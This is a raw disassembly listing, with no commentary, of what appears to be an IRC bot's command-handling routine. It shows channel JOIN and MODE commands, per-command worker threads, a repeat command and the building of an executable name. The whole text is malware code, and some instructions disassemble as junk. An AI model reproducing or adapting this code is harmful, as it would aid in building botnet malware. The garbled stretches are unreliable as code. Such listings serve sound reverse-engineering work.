lea eax, [ebp-2C8h] push offset unk_429F90 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_413059 add esp, 20h mov [ebp-464h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F0h] push ebx push eax push offset sub_4128CD push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-464h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40E845 loc_40E82F: ; CODE XREF: seg000:0040E843j cmp [ebp-450h], ebx jnz loc_410417 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40E82F ; --------------------------------------------------------------------------- loc_40E845: ; CODE XREF: seg000:0040E82Dj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429F40 jmp loc_410408 ; --------------------------------------------------------------------------- loc_40E856: ; CODE XREF: seg000:0040D904j ; seg000:0040D91Bj push edi call sub_413B1F push 7Fh mov [ebp-300h], eax push dword ptr [ebp+20h] lea eax, [ebp-404h] push eax call sub_414DD0 push dword ptr [ebp+8] call sub_413B1F push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-304h], eax lea eax, [ebp-384h] push 80h push eax mov [ebp-40Ch], esi call sub_413B2A mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-2F0h], eax push dword ptr [ebp-304h] lea eax, [ebp-404h] mov [ebp-2F4h], edi push eax push dword ptr [ebp-300h] push esi call sub_408619 pop ecx push eax lea eax, [ebp-2C8h] push offset unk_429EF0 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 10h push eax call sub_413059 add esp, 24h mov [ebp-2FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-40Ch] push ebx push eax push offset sub_4060A6 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-2FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40E93F loc_40E929: ; CODE XREF: seg000:0040E93Dj cmp [ebp-2ECh], ebx jnz loc_410417 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40E929 ; --------------------------------------------------------------------------- loc_40E93F: ; CODE XREF: seg000:0040E927j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429E9C jmp loc_410408 ; --------------------------------------------------------------------------- loc_40E950: ; CODE XREF: seg000:0040D8D6j ; seg000:0040D8EDj push 0FFh lea eax, [ebp-788h] push edi push eax call sub_414DD0 push 0FFh lea eax, [ebp-688h] push dword ptr [ebp+20h] push eax call sub_414DD0 push dword ptr [ebp+8] mov [ebp-584h], ebx call sub_413B1F mov [ebp-580h], eax mov eax, [ebp+esi-84h] add esp, 1Ch cmp eax, ebx jz short loc_40E9AC push 10h push ebx push eax call sub_414B19 add esp, 0Ch mov [ebp-578h], eax jmp short loc_40E9B2 ; --------------------------------------------------------------------------- loc_40E9AC: ; CODE XREF: seg000:0040E996j mov [ebp-578h], ebx loc_40E9B2: ; CODE XREF: seg000:0040E9AAj mov esi, [ebp+esi-80h] cmp esi, ebx jz short loc_40E9C9 push esi call sub_413B1F pop ecx mov [ebp-57Ch], eax jmp short loc_40E9CF ; --------------------------------------------------------------------------- loc_40E9C9: ; CODE XREF: seg000:0040E9B8j mov [ebp-57Ch], ebx loc_40E9CF: ; CODE XREF: seg000:0040E9C7j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_414DD0 mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax push edi lea eax, [ebp-2C8h] push offset unk_429E5C push eax call sub_4135AD push esi lea eax, [ebp-2C8h] push 15h push eax call sub_413059 add esp, 28h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset loc_40A17D push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40EA7D loc_40EA67: ; CODE XREF: seg000:0040EA7Bj cmp [ebp-568h], ebx jnz loc_40E0EE push 32h call ds:dword_41F058 ; Sleep jmp short loc_40EA67 ; --------------------------------------------------------------------------- loc_40EA7D: ; CODE XREF: seg000:0040EA65j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429E08 jmp loc_40EC80 ; --------------------------------------------------------------------------- loc_40EA8E: ; CODE XREF: seg000:0040D8A8j ; seg000:0040D8BFj push 7Fh lea eax, [ebp-774h] pop esi push esi push edi push eax call sub_414DD0 push esi lea eax, [ebp-6F4h] push dword ptr [ebp+20h] push eax call sub_414DD0 push esi lea eax, [ebp-674h] push dword ptr [ebp+8] push eax call sub_414DD0 push esi lea eax, [ebp-5F4h] push dword ptr [ebp-8Ch] push eax call sub_414DD0 mov eax, [ebp-8] push dword ptr [ebp+8] mov esi, [ebp-4] mov [ebp-56Ch], eax mov eax, [ebp+0Ch] push dword ptr [ebp+20h] mov [ebp-778h], eax lea eax, [ebp-2C8h] push edi push offset dword_429DC8 push eax mov [ebp-570h], esi call sub_4135AD add esp, 44h lea eax, [ebp-2C8h] push ebx push 0Bh push eax call sub_413059 add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-778h] push ebx push eax push offset sub_40182E push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40EB61 loc_40EB4F: ; CODE XREF: seg000:0040EB5Fj cmp [ebp-568h], ebx jnz short loc_40EB7C push 32h call ds:dword_41F058 ; Sleep jmp short loc_40EB4F ; --------------------------------------------------------------------------- loc_40EB61: ; CODE XREF: seg000:0040EB4Dj call ds:dword_41F068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset dword_429D7C push eax call sub_4135AD add esp, 0Ch loc_40EB7C: ; CODE XREF: seg000:0040EB55j cmp [ebp-8], ebx jnz loc_410D58 push ebx push esi jmp loc_40DCC4 ; --------------------------------------------------------------------------- loc_40EB8C: ; CODE XREF: seg000:0040D863j ; seg000:0040D87Aj ... push 7Fh lea eax, [ebp-7F0h] pop esi push esi push edi push eax call sub_414DD0 push esi lea eax, [ebp-770h] push dword ptr [ebp+20h] push eax call sub_414DD0 push esi lea eax, [ebp-6F0h] push dword ptr [ebp+8] push eax call sub_414DD0 push esi lea eax, [ebp-670h] push dword ptr [ebp-8Ch] push eax call sub_414DD0 push 20h lea eax, [ebp-5F0h] push dword ptr [ebp+10h] push eax call sub_414DD0 mov eax, [ebp-4] push dword ptr [ebp+8] mov esi, [ebp+0Ch] mov [ebp-570h], eax mov eax, [ebp-8] push dword ptr [ebp+20h] mov [ebp-56Ch], eax lea eax, [ebp-2C8h] push edi push offset unk_429D38 push eax mov [ebp-7F8h], esi call sub_4135AD add esp, 50h lea eax, [ebp-2C8h] push ebx push 0Ah push eax call sub_413059 add esp, 0Ch mov [ebp-7F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-7F8h] push ebx push eax push offset start push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-7F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40EC74 loc_40EC5E: ; CODE XREF: seg000:0040EC72j cmp [ebp-568h], ebx jnz loc_40E0EE push 32h call ds:dword_41F058 ; Sleep jmp short loc_40EC5E ; --------------------------------------------------------------------------- loc_40EC74: ; CODE XREF: seg000:0040EC5Cj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429CEC loc_40EC80: ; CODE XREF: seg000:0040E0D0j ; seg000:0040E21Bj ... lea eax, [ebp-2C8h] push eax call sub_4135AD jmp loc_40E0EB ; --------------------------------------------------------------------------- loc_40EC91: ; CODE XREF: seg000:0040D835j ; seg000:0040D84Cj push 7Fh lea eax, [ebp-444h] push edi push eax call sub_414DD0 push dword ptr [ebp+20h] call sub_413B1F push 3Fh mov [ebp-2F4h], eax push dword ptr [ebp+8] lea eax, [ebp-3C4h] push eax call sub_414DD0 mov esi, [ebp+esi-84h] add esp, 1Ch cmp esi, ebx jz short loc_40ECDF push 3Fh lea eax, [ebp-384h] push esi push eax call sub_414DD0 add esp, 0Ch loc_40ECDF: ; CODE XREF: seg000:0040ECCBj lea eax, [ebp-3C4h] mov dword ptr [ebp-2F0h], 1 push eax lea eax, [ebp-444h] push dword ptr [ebp-2F4h] push eax lea eax, [ebp-2C8h] push offset unk_429CA8 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 17h push eax call sub_413059 add esp, 20h mov [ebp-2ECh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-448h] push ebx push eax push offset sub_40B07B push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-2ECh] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40ED6B loc_40ED55: ; CODE XREF: seg000:0040ED69j cmp [ebp-2E8h], ebx jnz loc_40DC19 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40ED55 ; --------------------------------------------------------------------------- loc_40ED6B: ; CODE XREF: seg000:0040ED53j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429C5C jmp loc_40DC0A ; --------------------------------------------------------------------------- loc_40ED7C: ; CODE XREF: seg000:0040D7F5j ; seg000:0040D80Cj push dword ptr [ebp+20h] call sub_413B1F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40EE6D mov esi, 80h push edi lea eax, [ebp-700h] push esi push eax call sub_413B2A xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_413B2A mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax push edi push offset unk_429C1C lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A push ebx lea eax, [ebp-2C8h] push 0Dh push eax call sub_413059 add esp, 38h mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401447 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40EE5C loc_40EE46: ; CODE XREF: seg000:0040EE5Aj cmp [ebp-568h], ebx jnz loc_40DCB7 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40EE46 ; --------------------------------------------------------------------------- loc_40EE5C: ; CODE XREF: seg000:0040EE44j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429BD0 jmp loc_40DCA8 ; --------------------------------------------------------------------------- loc_40EE6D: ; CODE XREF: seg000:0040ED8Dj push offset unk_429B84 jmp loc_410536 ; --------------------------------------------------------------------------- loc_40EE77: ; CODE XREF: seg000:0040D7C7j ; seg000:0040D7DEj push dword ptr [ebp+20h] push edi call near ptr 0A70000h aas test eax, eax jz short loc_40EEA4 push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push edi push offset unk_429B4C push 200h push eax call sub_413B2A jmp loc_40F6C7 ; --------------------------------------------------------------------------- loc_40EEA4: ; CODE XREF: seg000:0040EE83j push offset dword_429B2C call loc_4080B0 push eax lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A add esp, 10h jmp loc_40DCB7 ; --------------------------------------------------------------------------- loc_40EEC8: ; CODE XREF: seg000:0040D799j ; seg000:0040D7B0j push edi lea eax, [ebp-77Ch] push 104h push eax call sub_413B2A add esp, 0Ch cmp [ebp-0Ch], ebx jz short loc_40EF02 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz short loc_40EF02 push eax lea eax, [ebp-678h] push eax call sub_4135AD pop ecx pop ecx loc_40EF02: ; CODE XREF: seg000:0040EEE0j ; seg000:0040EEF1j push dword ptr [ebp-8Ch] lea eax, [ebp-7FCh] push 80h push eax call sub_413B2A mov eax, [ebp+0Ch] mov [ebp-800h], eax mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-678h] push eax lea eax, [ebp-77Ch] push eax push offset unk_429AE8 lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A push ebx lea eax, [ebp-2C8h] push 1Bh push eax call sub_413059 add esp, 2Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-800h] push ebx push eax push offset sub_406C30 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40EFB5 loc_40EF9F: ; CODE XREF: seg000:0040EFB3j cmp [ebp-568h], ebx jnz loc_410D58 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40EF9F ; --------------------------------------------------------------------------- loc_40EFB5: ; CODE XREF: seg000:0040EF9Dj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429A98 jmp loc_410D49 ; --------------------------------------------------------------------------- loc_40EFC6: ; CODE XREF: seg000:0040D76Bj ; seg000:0040D782j ... push 44h lea eax, [ebp-48Ch] pop esi push esi push ebx push eax call sub_413630 push 1 mov [ebp-48Ch], esi pop esi mov [ebp-45Ch], bx push edi mov [ebp-460h], esi call sub_413B1F add esp, 10h cmp eax, esi jnz short loc_40F003 mov word ptr [ebp-45Ch], 5 loc_40F003: ; CODE XREF: seg000:0040EFF8j cmp [ebp-0Ch], ebx jz loc_40DC19 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40DC19 lea eax, [ebp-2D8h] push eax lea eax, [ebp-48Ch] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 0A70000h jge short loc_40EFC6 sal byte ptr [ebp+18h], 68h pusha call far ptr 0FD38h:858D0042h ; CODE XREF: seg000:0040F1E0j ; seg000:0040F873j ... ; --------------------------------------------------------------------------- db 2 dup(0FFh), 50h ; --------------------------------------------------------------------------- call sub_4135AD pop ecx pop ecx jmp loc_40DC19 ; --------------------------------------------------------------------------- push edi push offset unk_429A34 jmp loc_40DC0A ; --------------------------------------------------------------------------- loc_40F067: ; CODE XREF: seg000:0040D73Dj ; seg000:0040D754j push dword ptr [ebp+20h] push offset aVds017 ; "vds017" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F1DB lea eax, [ebp-3E8h] push eax push 104h call near ptr 0A70000h int 3 ; Trap to Debugger push 0FFh lea eax, [ebp-788h] push edi push eax call sub_414DD0 lea eax, [ebp-2E4h] push eax call sub_41248A push eax lea eax, [ebp-3E8h] push eax lea eax, [ebp-688h] push offset aSS_exe ; "%s%s.exe" push eax call sub_4135AD mov eax, [ebp+esi-88h] add esp, 20h cmp eax, ebx mov dword ptr [ebp-584h], 1 mov [ebp-580h], ebx jz short loc_40F0F9 push 10h push ebx push eax call sub_414B19 add esp, 0Ch mov [ebp-578h], eax jmp short loc_40F0FF ; --------------------------------------------------------------------------- loc_40F0F9: ; CODE XREF: seg000:0040F0E3j mov [ebp-578h], ebx loc_40F0FF: ; CODE XREF: seg000:0040F0F7j mov esi, [ebp+esi-84h] cmp esi, ebx jz short loc_40F119 push esi call sub_413B1F pop ecx mov [ebp-57Ch], eax jmp short loc_40F11F ; --------------------------------------------------------------------------- loc_40F119: ; CODE XREF: seg000:0040F108j mov [ebp-57Ch], ebx loc_40F11F: ; CODE XREF: seg000:0040F117j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_414DD0 mov eax, [ebp-4] push edi mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax lea eax, [ebp-2C8h] push offset unk_4299E8 push eax call sub_4135AD push esi lea eax, [ebp-2C8h] push 16h push eax call sub_413059 add esp, 24h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset loc_40A17D push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40F1CA loc_40F1B4: ; CODE XREF: seg000:0040F1C8j cmp [ebp-568h], ebx jnz loc_40DC19 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40F1B4 ; --------------------------------------------------------------------------- loc_40F1CA: ; CODE XREF: seg000:0040F1B2j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429998 jmp loc_40DC0A ; --------------------------------------------------------------------------- loc_40F1DB: ; CODE XREF: seg000:0040F078j push offset unk_429940 jmp near ptr loc_40F046+3 ; --------------------------------------------------------------------------- loc_40F1E5: ; CODE XREF: seg000:0040D70Fj ; seg000:0040D726j push dword ptr [ebp-90h] push offset dword_42B7D8 call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40B71F cmp [ebp-0Ch], ebx jz loc_40B71F push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 push eax lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_429930 push eax call sub_4135AD lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_414DD0 push edi call sub_413B1F add esp, 30h test eax, eax jle short loc_40F26C push edi call sub_413B1F imul eax, 3E8h pop ecx push eax call ds:dword_41F058 ; Sleep loc_40F26C: ; CODE XREF: seg000:0040F256j push offset dword_429908 call sub_409615 mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_40B722 ; --------------------------------------------------------------------------- loc_40F280: ; CODE XREF: seg000:0040D6E1j ; seg000:0040D6F8j push dword ptr [ebp-90h] push offset dword_42B7D8 call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40B71F cmp [ebp-0Ch], ebx jz loc_410E98 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax mov eax, [ebp+20h] inc eax push offset aRepeat ; "repeat" push eax call sub_4139D0 add esp, 10h test eax, eax push esi jz short loc_40F33C push dword ptr [ebp-8Ch] lea eax, [ebp-2C8h] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_429930 push eax call sub_4135AD lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_414DD0 push esi lea eax, [ebp-2C8h] push offset dword_4298D4 push eax call sub_4135AD lea eax, [ebp-2C8h] push eax call sub_409615 push edi call sub_413B1F add esp, 38h test eax, eax jle loc_410E98 push edi call sub_413B1F add eax, [ebp+2Ch] pop ecx jmp loc_40B722 ; --------------------------------------------------------------------------- loc_40F33C: ; CODE XREF: seg000:0040F2C5j push offset dword_42988C jmp loc_40DC0A ; --------------------------------------------------------------------------- loc_40F346: ; CODE XREF: seg000:0040D6B3j ; seg000:0040D6CAj push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset dword_429884 push eax call sub_4135AD push edi call sub_413B1F add esp, 10h loc_40F363: ; CODE XREF: seg000:0040F3CDj test eax, eax jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 loc_40F37D: ; CODE XREF: seg000:0040FC62j lea eax, [ebp-2C8h] push eax push offset dword_42987C push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_41106A loc_40F3A1: ; CODE XREF: seg000:00410AFDj add esp, 0Ch jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: seg000:0040D685j ; seg000:0040D69Cj push dword ptr [ebp+esi-88h] lea eax, [ebp-2C8h] push dword ptr [ebp+20h] push offset dword_429870 push eax call sub_4135AD push edi call sub_413B1F add esp, 14h jmp short loc_40F363 ; --------------------------------------------------------------------------- loc_40F3CF: ; CODE XREF: seg000:0040D657j ; seg000:0040D66Ej push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset dword_429868 push eax call sub_4135AD push edi call sub_413B1F add esp, 10h test eax, eax jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 lea eax, [ebp-2C8h] push eax push offset dword_42987C push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_41106A push dword ptr [ebp+20h] push edi push offset dword_429838 loc_40F433: ; CODE XREF: seg000:0040F4BDj ; seg000:0040F528j ... call sub_409689 loc_40F438: ; CODE XREF: seg000:004107CDj add esp, 18h jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40F440: ; CODE XREF: seg000:0040D629j ; seg000:0040D640j cmp [ebp-0Ch], ebx jz loc_410E98 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40F471 push esi lea eax, [ebp-2C8h] push offset dword_429830 push eax call sub_4135AD add esp, 0Ch loc_40F471: ; CODE XREF: seg000:0040F45Aj push edi call sub_413B1F test eax, eax pop ecx jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 lea eax, [ebp-2C8h] push eax push offset dword_42987C push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_41106A push esi push edi push offset dword_429800 jmp loc_40F433 ; --------------------------------------------------------------------------- loc_40F4C2: ; CODE XREF: seg000:0040D5FBj ; seg000:0040D612j cmp [ebp-0Ch], ebx jz loc_410E98 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_410E98 push edi call sub_413B1F test eax, eax pop ecx jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 push esi push offset dword_42987C push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_41106A push esi push edi push offset dword_4297D0 jmp loc_40F433 ; --------------------------------------------------------------------------- loc_40F52D: ; CODE XREF: seg000:0040D5CDj ; seg000:0040D5E4j cmp [ebp-0Ch], ebx jz loc_410E98 push edi push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_410E98 push esi push offset aModeS ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A push esi push offset dword_429794 loc_40F55F: ; CODE XREF: seg000:0040FE07j ; seg000:0040FE20j ... call sub_409689 loc_40F564: ; CODE XREF: seg000:0040F5CDj add esp, 14h jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40F56C: ; CODE XREF: seg000:0040D59Fj ; seg000:0040D5B6j push dword ptr [ebp-90h] push offset dword_42B7D8 call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40B71F push dword ptr [ebp+20h] push offset dword_429788 push dword ptr [ebp+0Ch] call sub_41106A push edi call sub_413B1F imul eax, 3E8h add esp, 10h push eax call ds:dword_41F058 ; Sleep push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A push offset dword_429760 call sub_409615 jmp short loc_40F564 ; --------------------------------------------------------------------------- loc_40F5CF: ; CODE XREF: seg000:0040D571j ; seg000:0040D588j cmp [ebp-0Ch], ebx jz loc_410E98 push edi call sub_413DB0 push dword ptr [ebp+10h] mov esi, eax call sub_413DB0 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_413B80 mov esi, eax add esp, 10h cmp esi, ebx jz loc_410E98 push esi lea eax, [ebp-2C8h] push offset dword_42A000 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push ebx push eax push edi push dword ptr [ebp+0Ch] call sub_4110B0 push esi push edi push offset dword_429730 call sub_409689 add esp, 2Ch jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40F63D: ; CODE XREF: seg000:0040D543j ; seg000:0040D55Aj cmp [ebp-0Ch], ebx jz loc_410E98 push edi call sub_413DB0 push dword ptr [ebp+10h] mov esi, eax call sub_413DB0 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_413B80 mov esi, eax add esp, 10h cmp esi, ebx jz loc_410E98 push ebx push ebx push esi push edi push dword ptr [ebp+0Ch] call sub_4110B0 push esi push edi push offset dword_429700 call sub_409689 jmp loc_40E26B ; --------------------------------------------------------------------------- loc_40F690: ; CODE XREF: seg000:0040D515j ; seg000:0040D52Cj cmp [ebp-0Ch], ebx jz loc_40B71F push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz loc_40B71F push eax push edi call near ptr loc_409519+4 ; --------------------------------------------------------------------------- push edi lea eax, [ebp-2C8h] push offset dword_4296D0 push eax call sub_4135AD loc_40F6C7: ; CODE XREF: seg000:0040EE9Fj add esp, 14h jmp loc_40DCB7 ; --------------------------------------------------------------------------- loc_40F6CF: ; CODE XREF: seg000:0040D4D5j ; seg000:0040D4ECj push edi push dword ptr [ebp+24h] call sub_413B80 pop ecx test eax, eax pop ecx jz loc_410E98 mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_40F76C push esi push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40F754 push esi lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_429930 push eax call sub_4135AD lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_414DD0 push esi push edi lea eax, [ebp-2C8h] push offset dword_429698 push eax call sub_4135AD add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_4109E0 ; --------------------------------------------------------------------------- loc_40F754: ; CODE XREF: seg000:0040F6FCj lea eax, [ebp-2C8h] push offset dword_429654 push eax call sub_4135AD pop ecx pop ecx jmp loc_4109E0 ; --------------------------------------------------------------------------- loc_40F76C: ; CODE XREF: seg000:0040F6EBj push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_40922D add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 push edi push offset dword_429628 lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A add esp, 24h jmp loc_4109E0 ; --------------------------------------------------------------------------- loc_40F7B3: ; CODE XREF: seg000:0040CEDAj ; seg000:0040CEF1j push offset aR ; "r" push edi call sub_413CA8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40F82D mov ebx, 200h push esi lea eax, [ebp-2C8h] push ebx push eax call sub_4151CC add esp, 0Ch loc_40F7DC: ; CODE XREF: seg000:0040F80Bj test eax, eax jz short loc_40F80D push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 push esi lea eax, [ebp-2C8h] push ebx push eax call sub_4151CC add esp, 20h jmp short loc_40F7DC ; --------------------------------------------------------------------------- loc_40F80D: ; CODE XREF: seg000:0040F7DEj push esi call sub_413C00 push edi lea eax, [ebp-2C8h] push offset dword_4295F0 push eax call sub_4135AD add esp, 10h jmp loc_40D4AD ; --------------------------------------------------------------------------- loc_40F82D: ; CODE XREF: seg000:0040F7C4j push edi push offset dword_4295BC jmp loc_410D73 ; --------------------------------------------------------------------------- loc_40F838: ; CODE XREF: seg000:0040CEACj ; seg000:0040CEC3j cmp [ebp-0Ch], ebx jz loc_410E98 push edi push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_410E98 push offset asc_423020 ; "\n" push esi call sub_413CD0 push esi call sub_408A91 add esp, 0Ch test eax, eax jnz short loc_40F878 push offset dword_42957C jmp near ptr loc_40F046+3 ; --------------------------------------------------------------------------- loc_40F878: ; CODE XREF: seg000:0040F86Cj push esi push offset dword_429550 jmp loc_4109D1 ; --------------------------------------------------------------------------- loc_40F883: ; CODE XREF: seg000:0040CE7Ej ; seg000:0040CE95j cmp [ebp-0Ch], ebx jz loc_410E98 push edi push dword ptr [ebp-0Ch] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz loc_410E98 push eax call sub_408175 test eax, eax pop ecx jnz short loc_40F8B4 push offset unk_429520 jmp near ptr loc_40F046+3 ; --------------------------------------------------------------------------- loc_40F8B4: ; CODE XREF: seg000:0040F8A8j push offset dword_4294F0 jmp near ptr loc_40F046+3 ; --------------------------------------------------------------------------- loc_40F8BE: ; CODE XREF: seg000:0040CE50j ; seg000:0040CE67j push 7Fh lea eax, [ebp-6F4h] push edi push eax call sub_414DD0 mov esi, [ebp+esi-8Ch] add esp, 0Ch cmp esi, ebx jz short loc_40F8ED push 7Fh lea eax, [ebp-674h] push esi push eax call sub_414DD0 add esp, 0Ch loc_40F8ED: ; CODE XREF: seg000:0040F8D9j push 7Fh lea eax, [ebp-5F4h] push dword ptr [ebp-8Ch] push eax call sub_414DD0 mov eax, [ebp+0Ch] push edi mov [ebp-6F8h], eax mov eax, [ebp-8] mov [ebp-570h], eax mov eax, [ebp-4] mov [ebp-56Ch], eax lea eax, [ebp-2C8h] push offset dword_4294C4 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 14h push eax call sub_413059 add esp, 24h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-6F8h] push ebx push eax push offset sub_4092F3 push ebx push ebx call ds:dword_41F06C ; CreateThread 